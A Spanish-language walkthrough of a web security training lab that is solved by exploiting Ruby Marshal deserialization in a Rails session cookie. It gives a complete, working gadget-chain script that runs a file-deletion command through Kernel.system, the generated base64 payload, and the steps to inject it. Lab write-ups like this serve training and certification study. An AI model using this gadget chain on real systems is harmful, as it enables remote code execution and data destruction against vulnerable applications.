Insecure Deserialization Lab 7
Skills
- Exploiting Ruby deserialization using a documented gadget chain
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este laboratorio
utiliza un mecanismo de sesiones
basado en la serialización
y el framework Ruby on Rails
. Existen exploits documentados
que permiten la ejecución remota de código
mediante una cadena de gadgets
en este framework
. Para resolver
el laboratorio, debemos encontrar un exploit documentado
y adaptarlo para crear un objeto serializado malicioso
que contenga una carga útil de ejecución remota de código
. Luego, pasamos este objeto
al sitio web
para eliminar el archivo morale.txt
del directorio personal
de Carlos. Podemos iniciar sesión
en nuestra propia cuenta utilizando las credenciales wiener:peter
Resolución
Al acceder
a la web
nos sale esto
Pulsamos sobre My account
y nos logueamos
utilizando las credenciales wiener:peter
Refrescamos
la web
con F5
y capturamos
la petición
con Burpsuite
El token
está en base64
así que lo decodeamos
y vemos que es un objeto
, esta estructura es típica de la librería Marshal
de ruby
1
2
3
# echo 'BAhvOglVc2VyBzoOQHVzZXJuYW1lSSILd2llbmVyBjoGRUY6EkBhY2Nlc3NfdG9rZW5JIiVpa2dnNzM0b3huMnlmaGRpbnB1bGczbDhreGRubGNnZAY7B0YK' | base64 -d
o: User:@usernameI"
wiener:EF:@access_tokenI"%ikgg734oxn2yfhdinpulg3l8kxdnlcgd;F
En esta web https://nastystereo.com/security/ruby-3.4-deserialization.html podemos encontrar artículos
para efectuar
un Deserialization Gadget Chain
en ruby
. En mi caso voy a usar este script
extraído de https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html que nos genera
un objeto serializado
en ruby
, el cual nos permite ejecutar comandos
en versiones
de ruby inferiores
a la 3.0.2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# Autoload the required classes
Gem::SpecFetcher
Gem::Installer
# prevent the payload from running when we Marshal.dump it
module Gem
class Requirement
def marshal_dump
[@requirements]
end
end
end
wa1 = Net::WriteAdapter.new(Kernel, :system)
rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
rs.instance_variable_set('@git_set', "rm /home/carlos/morale.txt")
wa2 = Net::WriteAdapter.new(rs, :resolve)
i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")
n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)
t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)
r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)
payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
require "base64"
puts Base64.encode64(payload).gsub("\n", "")
En mi caso he usado https://www.jdoodle.com/execute-ruby-online para seleccionar
la versión correspondiente
y generar
el payload
en base64
1
BAhbCGMVR2VtOjpTcGVjRmV0Y2hlcmMTR2VtOjpJbnN0YWxsZXJVOhVHZW06OlJlcXVpcmVtZW50WwZvOhxHZW06OlBhY2thZ2U6OlRhclJlYWRlcgY6CEBpb286FE5ldDo6QnVmZmVyZWRJTwc7B286I0dlbTo6UGFja2FnZTo6VGFyUmVhZGVyOjpFbnRyeQc6CkByZWFkaQA6DEBoZWFkZXJJIghhYWEGOgZFVDoSQGRlYnVnX291dHB1dG86Fk5ldDo6V3JpdGVBZGFwdGVyBzoMQHNvY2tldG86FEdlbTo6UmVxdWVzdFNldAc6CkBzZXRzbzsOBzsPbQtLZXJuZWw6D0BtZXRob2RfaWQ6C3N5c3RlbToNQGdpdF9zZXRJIh9ybSAvaG9tZS9jYXJsb3MvbW9yYWxlLnR4dAY7DFQ7EjoMcmVzb2x2ZQ
Debido a que el parámetro session
de la cookie
es un objeto
de ruby
, podemos abrirnos
el navegador
y con Ctrl + Shift + i
pegar el objeto
que hemos creado